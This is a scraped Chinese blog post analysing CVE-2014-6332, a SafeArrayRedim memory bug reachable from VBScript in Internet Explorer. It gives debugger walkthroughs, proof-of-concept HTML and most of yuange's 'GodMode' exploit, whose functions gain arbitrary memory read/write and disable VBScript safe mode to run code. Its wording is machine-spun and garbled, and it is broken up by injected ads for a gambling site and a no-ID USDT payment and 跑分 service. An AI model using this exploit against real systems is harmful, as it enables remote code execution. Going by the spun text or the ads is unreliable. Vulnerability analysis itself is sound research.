皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

usdt自动充值(www.caibao.it):Internet Explorer破绽剖析(三)[下]——CVE-2014-6332

admin2021-03-1981安全技术漏洞分析

USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

0x01 破绽信息

0x01.1 破绽简述

  • 编号:CVE-2014-6332
  • 破绽影响:远程代码执行(RCE)
  • CVSS 2.0:9.3

oleaut32.dllSafeArrayRedim在举行数组重新界说时未对传入参数psaboundNew举行有用校验,以致可以越界读写,进而造成随便代码执行。

0x01.2 破绽影响

Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1

0x01.3 修复方案

MS14-064

0x02 破绽剖析

0x02.1 剖析环境

  • OS版本:Windows 7 Service Pack 1
  • Internet Explorer版本:8.0.7601.17514
  • oleaut32.dll版本:6.1.7601.17514
  • vbscript.dll版本:5.8.7601.17514

0x02.2 前置知识

请移步Internet Explorer破绽剖析(三)[上]——VBScript Scripting Engine初探。

0x02.3 详细剖析

剖析所用POC如下:

<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h5
    over = &h8000000 + size
    Redim Preserve arrayA(size)

    Redim Preserve arrayA(over)
    arrayA(size+1) = "Hello"
</script>
</body>
</html>

打开该POC,使用WinDbg附加调试,于vbscript!RedimPreserveArray函数处设断,允许阻止的内容:

执行到call oleaut32.dll!SafeArrayRedim处,跟进剖析:

首先是判断传入参数psapsaboundNew均不为空:

之后对psa.fFeaturespsa.cDimspsa.cLocks举行判断:

call SafeArraySize盘算数组元素占用空间巨细:

psaboundNew写入psa.rgsabound中:

调整后数组:

盘算调整后数组元素占用空间巨细,减去原来数组元素占用空间巨细:

由于此时ebx=80000000,故执行效果为负数指令分支 :

ole32!CRetailMalloc_Alloc函数用于为HeapAlloc通报参数并挪用之:

由于申请空间远远跨越可分配空间巨细,故分配失败,直接跳转到函数末返回错误值:

由此,便可实现随便地址读写。

下面来看看正常执行流程,修改POC如下:

<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    Dim arrayA()
    Dim size
    Dim over
    size = &h6
    resize = &h4
    Redim Preserve arrayA(size)
    arrayA(0)="Jane"
    arrayA(5)="Alan"
    Redim Preserve arrayA(resize)
    IsEmpty(arrayA)
</script>
</body>
</html>

调整后数组元素占用空间巨细-原来数组元素占用空间巨细=0x50-0x70=ffffffe0

对其取相反数后申请云云巨细空间:

之后将数组多余元素即arrayA(5)—arrayA(6)复制到此空间内:

call ole32!CRetailMalloc_Realloc重新分配堆块:

总结:

  1. SafeArrayRedim函数在未重新分配空间之前便将psaboundNew写入psa.rgsabound,用以通报给SafeArraySize函数盘算调整数组元素巨细
  2. sub ebx, [ebp+Size]test ebx, ebx两条指令用于判断调整数组元素巨细—原数组元素巨细与零的关系,小于零/大于即是零进入差异分支处置
  3. neg [ebp+psaboundNew]对换整数组元素巨细与原数组元素巨细差值取相反数,将其通报给HeapAlloc函数分配响应巨细堆块

POC中&h8000000(该值经由SafeArraySize函数盘算后为0x80000000)正是行使以上三点,实现随便地址读写——test ebx, ebxjge组合举行有符号数对照,neg对其取反仍为0x80000000。

0x02.4 行使剖析

Exp来自yuange。

第一部门:

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)     
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)     
       Create=True
       Exit For
    End If 
  Next
end function

......

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim  Preserve aa(a0) 
    redim   ab(a0)     

    redim  Preserve aa(a2)

    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16             
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then    
                 If(IsObject(aa(a1)) = False ) Then         
                   type1=VarType(aa(a1))
                 end if               
              end if
           else
             redim  Preserve aa(a0)
             exit  function
           end if 
        else
           if(vartype(aa(a1-1))<>0)  Then    
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if               
            end if
        end if
    end if

    '0x6f66 & 0xFFFFBFFF=0x2f66   
    If(type1=&h2f66) then         
          Over=True      
    End If  
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If  

    redim  Preserve aa(a0)          

end function

通过循环不停重新界说数组,扩大数组规模,直至数组aaab于内存中相邻(准确 来说,二者相差8字节):

,

usdt支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

ab(0)=1.123456789012345678901234567890,该值转换IEEE浮点数可通过IEEE 754 Calculator盘算:

云云一来,可通过aa数组接见ab数组元素(由ab起始位置偏移8字节)。type1=&h2f66判断是由于GetVarType函数返回前会将vt0xFFFFBFFF作与运算:

第二部门:

myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)       myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

.......

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)  

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310  
     mydata=aa(a1)
     redim  Preserve aa(a0)  
end function

先来看i=testaa操作——将函数赋值给变量。简化版如下:

<!doctype html>
<html lang="en">
<head>
</head>

<body>
<script LANGUAGE="VBScript">
    On Error Resume Next
    sub testaa()
    end sub

    IsEmpty("Test")
    i = testaa
    i = null
</script>
</body>
</html>

vbscript!VbsIsEmpty断下:

通过ba w 2 1dc9e68ba w 4 1dc9e68+8两条指令对栈顶设断,第二次断下时,修改vt0x4C

第三次断下:

第四次断下,更改vt0x01(VT_NULL = 0x0001):

但其仍存储的是vbscript!CScriptEntryPoint工具,厥后赋值给iOn Error Resume Next在此处尤为主要,是否加入该语句执行情形对比:

未加入On Error Resume Next语句最终会挪用CSession::ReportError

而不会执行后续i = null语句,感兴趣的读者可自行探索CScriptRuntime::RunNoEH函数,不在这里过多睁开(该函数功效庞大,笔者仅是简朴跟踪是否加入On Error Resume Next语句的执行流):

开启随便读写后执行aa(a1)=i

ab(0)=6.36598737437801E-314

aa(a1+2)=myarray

ab(2)=1.74088534731324E-310

关于此处的调试可于vbscript!VbsIsEmpty函数设断,配合如下修改:

'isempty(ab)
     ab(0)=0

     aa(a1)=i
    'isempty("1")
     ab(0)=6.36598737437801E-314
    'isempty("2")

     aa(a1+2)=myarray
    'isempty("3")
     ab(2)=1.74088534731324E-310
    'isempty("4")

第一次断下后,可获得数组元素存储位置:

mydata=aa(a1)

第三部门:

function ReadMemo(add) 
    On Error Resume Next
    redim  Preserve aa(a2)  

    ab(0)=0   
    aa(a1)=add+4     
    ab(0)=1.69759663316747E-313       
    ReadMemo=lenb(aa(a1))  

    ab(0)=0    

    redim  Preserve aa(a0)
end function

该函数功效用于读取参数add指向内存,要害函数是cbLengthBstr(详细请参考VBScript Scripting Engine初探——0x05 LenB函数一节)。ab(0)=1.69759663316747E-313

完成读取:

第四部门:

function setnotsafemode()
    On Error Resume Next
    i=mydata()  
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)  
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0          
              redim  Preserve aa(a2)             
              aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)  

              j=0 
              j=readmemo(i+&h120+k)   

               Exit for
           end if

    next 
    ab(2)=1.69759663316747E-313
    runmumaa() 
end function

第一次读取效果见上文图片,i=readmemo(i+16)第二次读取:

该地址为vbscript!COleScript工具:

通过循环于该工具偏移0x120之后征采0x0E,该值用于检查是否处于SafeMode:

aa(a1+2)存储的是之前组织数组工具——myarray

myarray起始地址为0,rgsabound.cElements0x7fff0000,故可读写vbscript!COleScript+0x170处内容:

修改完成,进入GodMode,乐成弹出notepad.exe。

0x03 参阅链接

  • Microsoft Docs——SAFEARRAY

网友评论